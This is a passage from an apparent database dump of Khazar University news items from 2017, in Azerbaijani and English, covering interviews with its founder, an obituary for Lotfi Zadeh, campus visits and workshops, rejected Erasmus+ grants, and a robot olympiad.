href=\"http://www.sherg.az/site/id-35573/%3Cfont_color=red%3E%22Xarici_t%C9%99l%C9%99b%C9%99l%C9%99r_ali_m%C9%99kt%C9%99bl%C9%99rin_plan_yerl%C9%99rind%C9%99_g%C3%B6st%C9%99rilmir%22__%3C/font%3E#.WZ02cj5Jbcs\" target=\"_blank\">http://www.sherg.az/site/id-35573/%3Cfont_color=red%3E%22Xarici_t%C9%99l%C9%99b%C9%99l%C9%99r_ali_m%C9%99kt%C9%99bl%C9%99rin_plan_yerl%C9%99rind%C9%99_g%C3%B6st%C9%99rilmir%22__%3C/font%3E#.WZ02cj5Jbcs</a></p>'),(4070,2376,'en','Interview of Professor Hamlet Isakhanli to \"Sharq\" newspaper','On August 21, 2017, an interview of Prof. Hamlet Isakhanli, the founder of Khazar University and chairman of its Board of Directors and Trustees, entitled...','<p>On August 21, 2017, an interview of Prof. Hamlet Isakhanli, the founder of Khazar University and chairman of its Board of Directors and Trustees, entitled ‘Foreign students are not shown in the planned places of higher education institutions’ was published on the web page of ‘Sharq’ newspapper, the daily social-political publication. In the interview, the professor explains the objective reasons for not having the planned places filled in private universities.</p><p>The interview can be read through the following link: <a href=\"http://www.sherg.az/site/id-35573/%3Cfont_color=red%3E%22Xarici_t%C9%99l%C9%99b%C9%99l%C9%99r_ali_m%C9%99kt%C9%99bl%C9%99rin_plan_yerl%C9%99rind%C9%99_g%C3%B6st%C9%99rilmir%22__%3C/font%3E#.WZ02cj5Jbcs\" target=\"_blank\">http://www.sherg.az/site/id-35573/%3Cfont_color=red%3E%22Xarici_t%C9%99l%C9%99b%C9%99l%C9%99r_ali_m%C9%99kt%C9%99bl%C9%99rin_plan_yerl%C9%99rind%C9%99_g%C3%B6st%C9%99rilmir%22__%3C/font%3E#.WZ02cj5Jbcs</a></p>'),(4071,2377,'az','“Qarabağ” futbol klubunun UEFA Çempionlar Liqasının qrup mərhələsinə vəsiqə qazanması münasibətilə professor Hamlet İsaxanlının təbrikləri','2017-ci il avqustun 25-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı “Qarabağ” futbol klubunun UEFA Çempionlar Liqasının...','<p>2017-ci il avqustun 25-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı “Qarabağ” futbol klubunun UEFA Çempionlar Liqasının qrup mərhələsinə vəsiqə qazanması münasibətilə AFFA-nın prezidenti Rövnəq Abdullayevə, AFFA-nın baş katibi Elxan Məmmədova və “Qarabağ” futbol klubunun prezidenti Tahir Gözala təbrik məktubları göndərmişdir. Məktublarda professor Hamlet İsaxanlı “Qarabağ” futbol klubunu Avropa Çempionlar Liqasının qrup mərhələsinə yüksələn ilk Azərbaycan klubu kimi təbrik etmiş, komandaya yeni uğurlar arzulamış və “Qarabağ” komandasını uyğun bir vaxtda Xəzər Universitetində görüşə dəvət etmişdir.</p>'),(4090,2387,'az','Təbriz Universitetinin rektoru AzərTac-a Xəzər Universiteti ilə əlaqələrindən danışdı','2017-ci il sentyabrın 4-də Azərbaycan Dövlət İnformasiya Agentliyi – AZƏRTAC agentliyin xüsusi müxbiri Rabil Kətanovun Təbriz Universitetinin rektoru professor...','<p>2017-ci il sentyabrın 4-də Azərbaycan Dövlət İnformasiya Agentliyi – AZƏRTAC agentliyin xüsusi müxbiri Rabil Kətanovun Təbriz Universitetinin rektoru professor Məhəmmədrza Purməhəmmədidən aldığlı müsahibəni dərc etmişdir. Müsahibədə M.Purməhəmmədi Xəzər Universiteti ilə yaxın əlaqələrinin olduğunu, tələbə və müəllim mübadiləsi aparıldığını, birgə elmi konfranslar və simpoziumlar keçirildiyini vurğulamışdır.</p><p>Xəbəri strategy.az xəbər saytı da yayımlamışdır.</p><p>Mətnləri bu linklər vasitəsilə oxumaq olar:</p><p><a href=\"https://azertag.az/xeber/1090557\">https://azertag.az/xeber/1090557</a>&nbsp;</p><p><a href=\"http://strateq.az/siyaset/195245/təbriz-universitetinin-rektoru.html\">http://strateq.az/siyaset/195245/təbriz-universitetinin-rektoru.html</a></p>'),(4735,2808,'az','Professor Hamlet İsaxanlı yenidən Dövlət Statistika Komitəsi yanında Statistika Şurasının üzvü təyin olunmuşdur','Azərbaycan Respublikası Nazirlər Kabinetinin 29 dekabr 2017-ci il tarixli 614 saylı qərarı ilə Dövlət Statistika Komitəsi yanında...','<p>Azərbaycan Respublikası Nazirlər Kabinetinin 29 dekabr 2017-ci il tarixli 614 saylı qərarı ilə Dövlət Statistika Komitəsi yanında Statistika Şurasının yeni tərkibi təsdiq edilmişdir. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı yenidən şuranın üzvü təyin olunmuşdur.</p><p>Daha geniş məlumatı bu linklər vasitəsilə əldə etmək olar:&nbsp;</p><p><a href=\"https://apa.az/xeber-az/sosial_xeberler/statistika-surasinin-yeni-terkibi-tesdiqlenib-5073.html\">https://apa.az/xeber-az/sosial_xeberler/statistika-surasinin-yeni-terkibi-tesdiqlenib-5073.html</a></p><p><a href=\"http://fins.az/budce/935301/statistika-surasinin-yeni-terkibi-tesdiqlenib.html\">http://fins.az/budce/935301/statistika-surasinin-yeni-terkibi-tesdiqlenib.html</a>&nbsp;</p><p><a href=\"http://teleqraf.com/news/toplum/161247.html\">http://teleqraf.com/news/toplum/161247.html</a>&nbsp;</p><p><a href=\"http://www.marja.az/news/18852\">http://www.marja.az/news/18852</a></p>'),(4097,2390,'az','Görkəmli alim Lütfi Zadənin xatirəsinə','Lütfəli Rəhim oğlu Əsgərzadə, qısaca Lütfi Zadə adı ilə tanınan, elektrik mühəndisliyi və süni intellekt sahəsində görkəmli mütəxəssis, riyaziyyatçı, Kaliforniya Berkli...','<p>Lütfəli Rəhim oğlu Əsgərzadə, qısaca Lütfi Zadə adı ilə\r\ntanınan, elektrik mühəndisliyi və süni intellekt sahəsində görkəmli mütəxəssis,\r\nriyaziyyatçı, Kaliforniya Berkli Universitetinin (University of California,\r\nBerkeley) əməkdar (emeritus) professoru, Avrasiya Akademiyasının beş qurucu\r\nüzvündən biri olan görkəmli alim sentyabrın 6-da Amerikada, Berkli (Berkeley) şəhərində\r\nvəfat etmişdir.</p>\r\n<p>&nbsp;Lütfi Zadə\r\n1921-ci ildə Bakıda anadan olmuş, 1931-ci ildə ailəsi ilə İrana, əslən Ərdəbildən\r\nolan atasının vətəninə köçmüşdür. 1942-ci ildə Tehran Universitetini elektrik\r\nmühəndisliyi üzrə bitirmiş, 1944-cü ildə Amerikaya köçmüşdür. 1946-cı ildə\r\nMIT-dən (Massaçusets Texnologiya İnstitutundan) elektrik mühəndisliyi üzrə magistr\r\ndərəcəsi, 1949-cu ildə Kolumbiya Univeristetindən (University of Columbia) PhD\r\ndərəcəsi almışdır. 1957-ci ildə həmin universitetin professoru olmuş, 1959-cu\r\nildən başlayaraq Kaliforniyada, Berkli universitetində çalışmağa başlamış,\r\nömrünün sonuna qədər orada işləyib yaşamışdır. </p>\r\n<p>Lütfi Zadə qeyri-səlis çoxluq, qeyri-səlis məntiq,\r\nqeyri-səlis hesablama kimi nəzəriyyələr qurmuş, diskret zaman siqnal analizində\r\nçox işlənən z-çevirmə nəzəriyyəsini quran iki mütəxəssisdən biridir. Bu nəzəriyyələr\r\ntexnoloji və sosial proseslərdə öz tətbiqlərini tapmışlar. Lutfi Zadə\r\nKaliforniya Berkli Universitetində \"İnformasiya Texnologiyaları üzrə Zadə\r\nİnstitutu\"nu təsis etmişdir.&nbsp; Bir çox nüfuzlu elm və texnologiya\r\nqurumlarının üzvü olmuş, çoxsaylı mükafatlara, medallara və fəxri adlara layiq\r\ngörülmüşdür. Əsərlərinə ən çox istinad edilən alimlərdən sayılır. </p>\r\n<p>2012-ci ildən başlayaraq professor Lütfi Zadə, Türkiyəli\r\ntarixçi Halil İnalcık, beyin cərrahı Mahmud Qazi Yaşargil, bəstəkar Arif Məlikov\r\nvə riyaziyyatçı alim, humanitar və social elmlər üzrə tədqiqatçı Hamlet\r\nİsaxanlı yeni tip akademiya – Avrasiya Akademiyasını qurmağa başlamış, bu məqsədlə\r\nKaliforniyada, İstanbulda, Ankarada və Bakıda görüşlər keçirmişlər. 2016-cı il\r\nyanvarın 29-da Bakıda, Xəzər Universitetində Avrasiya Akademiyasının rəsmi\r\naçılışı olmuşdur.</p>\r\n<p>Professor\r\nLütfi Zadə dini, irqi, millətçi görüşlərdən uzaq duran görkəmli alim və gözəl\r\ninsan idi. O və onun yaradıcılığı Azərbaycanda elmin inkişafına təsir göstərmişdir.\r\nLütfi Zadə Azərbaycanda olmuş, ölkə prezidenti ilə görüşmüş, mükafatlara layiq\r\ngörülmüşdür.</p>\r\n<p>Professor\r\nLütfi Zadənin xatirəsi onu tanıyanların və onun əsərlərindən bəhrələnənlərin qəlbində\r\nyaşayacaq. Professor Lütfi Zadənin ailəsinə və yaxınlarına dərin hüznlə başsağlığı\r\nverirəm.</p>\r\n<p>&nbsp;</p>\r\n<p style=\"text-align: center;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:70.8pt;text-indent:35.4pt\"\"=\"\"><strong>Xəzər Universiteti\r\nDirektorlar və Qəyyumlar Şurasının sədri, </strong></p>\r\n<p style=\"text-align: center;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt\";margin-left:106.2pt\"=\"\"><strong>Avrasiya\r\nAkademiyasının qurucu üzvü professor Hamlet İsaxanlı</strong></p><p style=\"text-align: center;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt\";margin-left:106.2pt\"=\"\"><strong><br></strong></p>'),(4098,2391,'az','Hamlet İsaxanlı “Şərq” qəzetinə “xaricdə təhsil alanlar”dan danışdı','2017-ci il sentyabrın 7-də “Şərq” qəzetinin rəsmi internet səhifəsində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ilə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il sentyabrın 7-də “Şərq” qəzetinin\r\nrəsmi internet səhifəsində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı ilə “Xaricdə yaxşı universiteti\r\nbitirib gələnə kim nə deyə bilər?” mövzusunda söhbətin mətni yayınlanmışdır. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Materialı tam şəkildə bu link vasitəsilə\r\noxumaq olar:</p>\r\n<p><a href=\"http://www.sherg.az/site/id-36092/Xaricd%C9%99_yax%C5%9F%C4%B1_universiteti_bitirib_g%C9%99l%C9%99n%C9%99_kim_n%C9%99_dey%C9%99_bil%C9%99r?#Kalibri\">http://www.sherg.az/site/id-36092/Xaricdə_yaxşı_universiteti_bitirib_gələnə_kim_nə_deyə_bilər?</a></p>'),(3458,2032,'az','Kolumbiyanın səfiri Xəzər Universitetində',' 2017-ci il aprelin 5-də Kolumbiyanın səfiri xanım Marta Galindo Pena Xəzər Universitetində qonaq oldu və rektor Dr. Hassan Niknafs, Beynəlxalq Əlaqələr Şöbəsinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in\"\"=\"\"><strong>&nbsp;</strong>2017-ci\r\nil aprelin 5-də Kolumbiyanın səfiri xanım Marta Galindo Pena Xəzər\r\nUniversitetində qonaq oldu və rektor Dr. Hassan Niknafs, Beynəlxalq Əlaqələr\r\nŞöbəsinin direktoru Turan Cəfərova və koordinator Günay Fərzəliyeva ilə\r\ngörüşdü. Görüş Beynəlxalq Əlaqələr Ofisi tərəfindən təşkil olunmuşdu və\r\nuniversitetin “Neftçilər” kampusunda baş tutdu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəzər Universitetinin rektoru Dr. Hassan\r\nNiknafs Kolumbiya səfirliyi və Kolumbiyadakı universitetlərlə yaxın əməkdaşlıq\r\nqurmaqla bağlı dərin marağını bildirdi. O, həmçinin kolumbiyalı tələbələri Xəzər\r\nUniversitetinin beynəlxalq tələbələr üçün təklif olunan proqramlarında görməkdən\r\nməmnunluq duyacağını bildirdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Beynəlxalq Əlaqələr Şöbəsinin direktoru Turan Cəfərova\r\n2017-2018-ci tədris ili üçün açıq olan beynəlxalq qəbul haqqında məlumat verdi\r\nvə Xəzər Universitetinin promo materiallarını səfirə təqdim etdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Səfir\r\ngörkəmli Kolumbiya yazıçısı və Nobel mükafatçısı Qabriel Qarsiya Markesin\r\nkitabını rektora təqdim etdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Qeyd\r\nolundu ki, beynəlxalq qəbul və Xəzər Universiteti Beynəlxalq Təqaüd Proqramı\r\nbütün xarici vətəndaşlar üçün açıqdır. Potensial tələbələr (bakalavr, magistr və\r\ndoktorantura tələbələri) universitetin dörd fakültəsinə müraciət edə bilərlər.\r\nMüraciət üçün son tarix 2017-cı aprelin 15-dir.</p>'),(4086,2386,'az','Hamlet İsaxanlı “Exo” qəzetinə müsahibə verdi','2017-ci il avqustun 30-da “Exo” qəzetinin (rus dilində) rəsmi internet səhifəsində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il avqustun 30-da “Exo” qəzetinin\r\n(rus dilində)\r\nrəsmi internet səhifəsində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı ilə “Azərbaycanın ali təhsil müəssisələri\r\nxarici təşkilatların akademik reytinqində” mövzusunda söhbətin mətni\r\nyayınlanmışdır. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Materialı tam şəkildə bu link vasitəsilə\r\noxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://ru.echo.az/?p=62224\">http://ru.echo.az/?p=62224</a>\r\n.</p>'),(3459,2032,'en','Meeting with Ambassador of Colombia at Khazar University','On April 5, 2017, Ambassador of Colombia Mrs. Marta Galindo Pena visited Khazar University and met with the Rector, Dr. Hassan Niknafs, Director of the International Affairs...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On April\r\n5, 2017, Ambassador of Colombia Mrs. Marta Galindo Pena visited Khazar\r\nUniversity and met with the Rector, Dr. Hassan Niknafs, Director of the\r\nInternational Affairs Office Turan Jafarova, and Coordinator Gunay Farzaliyeva.\r\nThe meeting was organized by the International Affairs Office and took place in\r\nthe Neftchilar campus of the University.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Rector\r\nof Khazar University, Dr. Hassan Niknafs expressed a strong interest in close\r\ncollaboration with the Embassy of Colombia and universities in Colombia. He also\r\nstressed that Khazar University was very interested in accepting students from Colombia\r\nto programs offered by Khazar University to international degree-seeking\r\nstudents. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Ms. Turan\r\nJafarova, Director of the International Affairs Office, provided information\r\nabout the admission for the 2017-2018 academic year and presented promotional\r\nmaterials of Khazar University to the Ambassador.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">The\r\nambassador presented a book by the prominent Colombian novelist and Nobel Prize\r\nwinner Gabriel Garcia Marquez to the rector.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Admission\r\nand the Khazar University International Scholarship Program are now open to\r\nnationals of all countries for potential students, both graduate (Master and\r\nPhD) and undergraduate (Bachelor), at all four schools of the university. The\r\ndeadline for applications is April 15, 2017.</p>'),(3460,2033,'az','“Mühasibatlıq və maliyyə sahəsində karyera” adlı təlim keçirildi','2017-ci il aprelin 5-də Xəzər Universiteti Karyera Mərkəzinin təşkilatçılığı ilə “Mühasibatlıq və maliyyə sahəsində karyera” adlı təlim keçirildi. Təlimçi PCOB Group şirkətinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il aprelin 5-də Xəzər\r\nUniversiteti Karyera Mərkəzinin təşkilatçılığı ilə “Mühasibatlıq və maliyyə sahəsində\r\nkaryera” adlı təlim keçirildi. Təlimçi PCOB Group şirkətinin təsisçisi və\r\ndirektoru Orxan Yusifov tələbələrə rezyume hazırlamaq, təsirli niyət məktublarının\r\nsirri, peşəkar müsahibəyə hazırlıq, işi harada və necə axtarmalı və ACCA dəsrləri\r\nhaqqında məlumat verdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Təlimdə İqtisadiyyat və menecment fakültəsinin\r\ntələbələri və məzunları iştirak etdirdilər. İnteraktiv formada keçən təlimdə tələbələrin\r\nçoxsaylı sualları cavablandırıldı.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Təlimin sonunda ilk müraciət edən 6 tələbə\r\nsınaq iş müsahibəsində iştirak etdi.&nbsp;</p>'),(3524,2061,'en','Professor`s Interview for Newspaper “Sherg” ','On April 12, 2017, an interview with Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was published on the official website...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nApril 12, 2017, an interview with Professor Hamlet Isaxanli, the founder of\r\nKhazar University and Chairman of its Board of Directors and Trustees,&nbsp;was\r\npublished on the official website of the newspaper “Sherg”.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">The\r\nfull version of the interview&nbsp;is available at the following link:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.sherg.az/site/id-29292/Kanadaya_getm%C9%99k_ist%C9%99y%C9%99n_varmi?-__Professor_o_g%C3%B6z%C9%99l_%C3%B6lk%C9%99d%C9%99n_dan%C4%B1%C5%9F%C4%B1r#Kalibri\">http://www.sherg.az/site/id-29292/Kanadaya_getmək_istəyən_varmi?-__Professor_o_gözəl_ölkədən_danışır</a>.</p>'),(3525,2070,'en','Khazar Faculty Member Appointed Scientific Secretary of the Expert Council','On April 3, 2017,  Sevinj Aghayeva Orujeli,  PhD in philology, Associate Professor, instucor of the Department of Azerbaijani Language and Literature, was appointed  Scientific...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nApril 3, 2017,&nbsp; Sevinj Aghayeva\r\nOrujeli,&nbsp; PhD in philology, Associate\r\nProfessor, instucor of the Department of Azerbaijani Language and Literature,\r\nwas appointed &nbsp;Scientific Secretary of\r\nthe Expert Council of the Higher Attestation Commission on Philological\r\nsciences.</p>'),(3526,2078,'az','Xəzər Universitetinin 2 qrantı Ədliyyə Nazirliyində qeydiyyata alınmadı','Xəzər Universiteti geniş beynəlxalq əlaqələri və uğurlu layihələri ilə yalnız Azərbaycanda deyil, geniş regionda tanınır. Universitetin bütün fəaliyyəti boyu, xüsusən də son 10 ildə...','<p>Xəzər\r\nUniversiteti geniş beynəlxalq əlaqələri və uğurlu layihələri ilə yalnız Azərbaycanda deyil,\r\ngeniş regionda tanınır. Universitetin bütün fəaliyyəti boyu, xüsusən də son 10\r\nildə beynəlxalq əlaqələr sahəsində əldə etdiyi uğurların bir istiqaməti də onun\r\nqazandığı beynəlxalq qrantlardır. Xəzər Universiteti həm tərəfdaş universitet\r\nolaraq, həm də koordinator olaraq bir sıra nüfuzlu qrantlar qazanmış, tək öz inkişafı\r\nüçün deyil, digər Azərbaycan universitetlərinin də inkişafına töhfə vermişdir.\r\nXüsusən də, son bir neçə ildə, mütəmadi olaraq, Avropa Komissiyasının\r\nqrantlarını ala bilmiş, onları təhsil sistemimizdə gedən islahatlara,\r\nmüəllimlərin təkmilləşdirilməsinə, tələbə mübadilə proqramlarının həyata keçirilməsinə\r\nsərf etməyə çalışır.</p>\r\n<p>Bütün\r\nbunlara baxmayaraq, son bir neçə ildə Azərbaycan təhsilinin inkişafı baxımından\r\nböyük əhəmiyyət kəsb edən iki böyük layihənin Ədliyyə Nazirliyi tərəfindən\r\nqeydiyyata alınmaması nəticəsində ölkəmizə daxil olan xeyli vəsait Avropaya\r\ngeri çağırılaraq digər ölkə universitetlərinə verilmişdir (?). Qeyd edək ki,\r\n2015-2017-ci illərdə Azərbaycandan Avropa Komissiyası layihələrinin\r\nkoordinatoru olan tək ali məktəb Xəzər Universiteti olmuşdur.</p>\r\n<p>Belə\r\nki, 2015-ci ildə Avropa Komissiyasının Təhsil, Audiovizual və Mədəniyyət üzrə\r\nİcraçı Agentliyinin elan etdiyi “ERASMUS+” proqramı üzrə qazandığımız <strong>“Universitetlərdə\r\ntələbə Ombudsmanı Ofisinin yaradılması” </strong>layihəsi (ümumi dəyəri 579 min\r\navrodur), Ədliyyə Nazirliyində qeydiyyata alınmadığı üçün Azərbaycandan\r\nalınaraq Gürcüstan Respublikasının Akaki Tsereteli Universitetinə verildi.</p>\r\n<p>2016-cı\r\nildə eyni proqram çərçivəsində qazanılmış <strong>“Azərbaycan universitetlərində\r\ntəlim və tədris proseslərinin təkmilləşdirilməsi”</strong> layihəsi də (ümumi dəyəri\r\n909 min avrodur), Ədliyyə Nazirliyində qeydiyyata alınmadığı üçün, aprel ayında\r\nyenə Azərbaycandan alınaraq başqa bir avropa universitetinə –İspaniyanın\r\nUniversitat Politècnica de València universitetinə verildi.</p>\r\n<p>Böyük\r\ntəəssüf hissi ilə qeyd edirik ki, yuxarıda adı çəkilən hər iki qrantın\r\nqeydiyyata alınması ilə bağlı bütün lazımi sənədlər vaxtı-vaxtında Ədliyyə\r\nNazirliyinə təqdim edilməsinə baxmayaraq, nazirlik bu məsələyə laqeyd və\r\nqərəzli yanaşmış, qrantın koordinatoru olan Xəzər Universiteti qeydiyyata\r\nalınmamış, Xəzər Universitetinin qranta cəlb etdiyi digər Azərbaycan\r\nuniversitetləri isə qeydiyyata alınmışdır (qəribə deyilmi?). Nəticədə,\r\nAzərbaycan təhsili üçün cəlb etdiyimiz <strong>bir\r\nmilyon 488 min avro dəyəri olan vəsait digər</strong> Avropa ölkələrinə verilmiş,\r\nüstəlik, “Sizdə ölkəyə təhsil üçün vəsait gəlməsini istəmirlər,” fikri\r\nformalaşır və gələcəkdə ölkəmizə yeni maliyyə vəsaitlərinin cəlbi çətinləşir.</p>'),(3527,2057,'en','42nd Graduation Ceremony for Khazar University graduates to be held ','On May 7, 2017 at 17:00, the 42nd Graduation Ceremony of Khazar University will be held...','<p>On May 7, 2017 at 17:00, the 42nd Graduation\r\nCeremony of Khazar University will be held at “Dunya” school concert hall\r\n(Ajami Nakhchivani str.9) </p>\r\n<p>Those wishing are welcome to the Graduation ceremony.</p>\r\n<p>Note that, the first rehearsal will be held on\r\nApril 29 at 16:00 at “Dunya” concert hall (B.Safaroghlu str.9), the second one\r\nwill be on May 6 at 16:00 at “Dunya” school concert hall (Ajami Nakhchivani\r\nstr.9).</p>'),(3543,2067,'en','Workshop on «Interactive Training Methods in Foreign Language Classes» ','On April 14, 2017 a two-day workshop , entitled “Interactive Teaching Methods In Foreign Language Classes “ started in a partnership with Khazar University Development Center and...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On\r\nApril 14, 2017 a two-day workshop , entitled “Interactive Teaching Methods In\r\nForeign Language Classes “ started in a partnership with Khazar University\r\nDevelopment Center and Estonia OÜ Lingator on the basis of famous \"English\r\nLanguage Portfolio\" program.Dr.Hassan\r\nNiknafs, rector of the university opened the workshop and wished success to the\r\nparticipants.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">The\r\nseminar was organised for instructors, teaching English at universities and\r\nsecondary schools and others who are &nbsp;interested in teaching foreign languages.Ways of &nbsp;applying specific, practical active teaching\r\nmethods based on practical examples and role- plays, active teaching methods on\r\nvarious topics, as well as ones adjusted to age limit will be covered in the\r\nworkshop.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">English\r\nlanguage teachers of Khazar University and other universities and high schools also\r\ntake part in the workshop.&nbsp;</p>'),(3528,2015,'en','A Workshop on “What is strategy?” at Khazar University','On April 4, 2017 from 14:00 till 15:30 a workshop on “What is strategy?” will be held at Khazar...','<p>On April 4, 2017 from 14:00 till 15:30 a workshop on “What is strategy?” will be held at Khazar University. The workshop will take place at Khazar University Neftchilar campus (room 102N). In the workshop to be held within the framework of SPE Azerbaijan project, Khatira Mikayilova, the representative of “Halliburton” company will make a presentation.&nbsp;&nbsp;The workshop will cover the topics like the role of successful strategy and its importance in the organizations’ achieving their goals.</p><p>All wishing (regardless of the field of study) are welcome to the seminar.</p><p>For registration, please, write to the below given e-mail:</p><p><a href=\"mailto:careercenter@khazar.org\">careercenter@khazar.org</a>.&nbsp;</p>'),(3529,2079,'az','Xəzər Universitetinin əməkdaşları “Beynəlxalq Pr. Dr. Halil İnalcık Tarix və Tarixçilik Simpoziumu”nda çıxış etdilər','2017-ci il aprelın 10-dan 13-dək Türliyənin Qazi Universitetində Türkiyə Cumhuriyyəti Baş Nazirliyi Atatürk Mədəniyyət, Dil və Tarix Qurumu, Türk Tarix Qurumu və Qazi...','<p>2017-ci il aprelın 10-dan 13-dək Türliyənin Qazi\r\nUniversitetində Türkiyə Cumhuriyyəti Baş Nazirliyi Atatürk Mədəniyyət, Dil və\r\nTarix Qurumu, Türk Tarix Qurumu və Qazi Universitetinin birgə əməkdaşlığı ilə\r\n“Beynəlxalq Pr. Dr. Halil İnalcık Tarix və Tarixçilik Simpoziumu” təşkil edilmişdi.\r\n</p>\r\n<p>Simpoziumda Xəzər Universitetinin əməkdaşları da\r\niştirak edirdilər. Universiteti Dillər və mədəniyyətlər depatramentin dosenti i.ü.f.d.\r\nElnurə Əzizova “Milli tarix yazıçılığında dəyişkənlik və davamlılıq: Sovet və\r\nPost-Sovet Azərbaycan tarixçiliyində Türkiyə, İran və Rusiya alqısının\r\nqarşılıqlı analizi (Tarix dərslikləri çərçivəsində)”, həmin departamentin dosent\r\nəvəzi f.ü.f.d. Zivər Hüseynli “XVI yüzil Səfəvi qaynaqlarında türk kimliyinə\r\ndair bir incələmə” adlı məruzələrlə çıxış etdilər. </p>\r\n<p>Simpoziumun sonunda bütün iştirakçılara sertifikat\r\ntəqdim edildi.</p>'),(4226,2487,'az','Dünya Robot Olimpiadasının Azərbaycan üzrə seçim yarışı keçirildi','2017-ci il oktyabrın 7-də Azərbaycan Respublikası Gənclər və İdman Nazirliyinin dəstəyi, “Gənclərin Təhsil, Təlim, Peşə və İnkişaf...','<p>2017-ci il oktyabrın 7-də Azərbaycan Respublikası Gənclər və İdman Nazirliyinin dəstəyi, “Gənclərin Təhsil, Təlim, Peşə və İnkişaf Mərkəzi” İctimai Birliyi və Azərbaycan Robototexnika Mühəndisliyi Akademiyasının (Azerbaijan Robotics Engineering Akademy - AREA) təşkilatçılığı ilə Bakı Olimpiya İdman Kompleksində ilk dəfə olaraq Dünya Robot Olimpiadasının (DRO) Azərbaycan üzrə seçim yarışı keçirildi.</p><p>Tədbirin açılış mərasimində çıxış edən gənclər və idman nazirinin müavini İntiqam Babayev yarışların gənclərə bilik və bacarıqlarını nümayiş etdirmək, həmkarları ilə təcrübə mübadiləsi aparmaq üçün gözəl imkan yaratdığını qeyd edib. Bildirib ki, belə olimpiadaların keçirilməsi gənclərin elmi inkişafına böyük töhfə verəcək.</p><p>Yarışların baş hakimi, yaponiyalı mütəxəssis, AREA-nın həmtəsisçisi Kohe İşiqami çıxışında ölkəmizdə bu sahənin inkişafı üçün uğurlu işlər aparıldığını qeyd edib. Baş hakim gənclərin bu sahədə təhsil almasının Azərbaycanın inkişafı və onların gələcəyi üçün önəmli olduğunu deyib. O, Azərbaycan gənclərinin bu sahəyə böyük həvəs göstərdiklərini və ölkəmizdə robototexnikanın inkişafı üçün hər cür şəraitin yaradıldığını vurğulayıb.</p><p>Dünya Robot Olimpiadası Azərbaycan Təşkilat Komitəsinin texniki rəhbəri Rəhman Rəsulzadə yarışların keçirilməsinə təşkilati dəstək verib.</p><p>Komandalar, “Robot futbolu”, “Açıq katerqoriya” və “Əsas kateqoriya” olmaqla üç istiqamətdə mübarizə aparıblar.</p><p>Yarışda Xəzər Universiteti, Bakı Ali Neft Məktəbi, Bakı Mühəndislik Universiteti, ADA Universiteti, Akademik Zərifə Əliyeva adına lisey, “Kaspi” liseyi, Bakı Modern Təhsil Kompleksi, “British School in Baku”, 215 saylı tam orta məktəb, İstək liseyi və 267 saylı məktəb-liseyi təmsil edən, üzvləri 9-19 yaşlı məktəbli və tələbələrdən ibarət olan komandalar iştirak 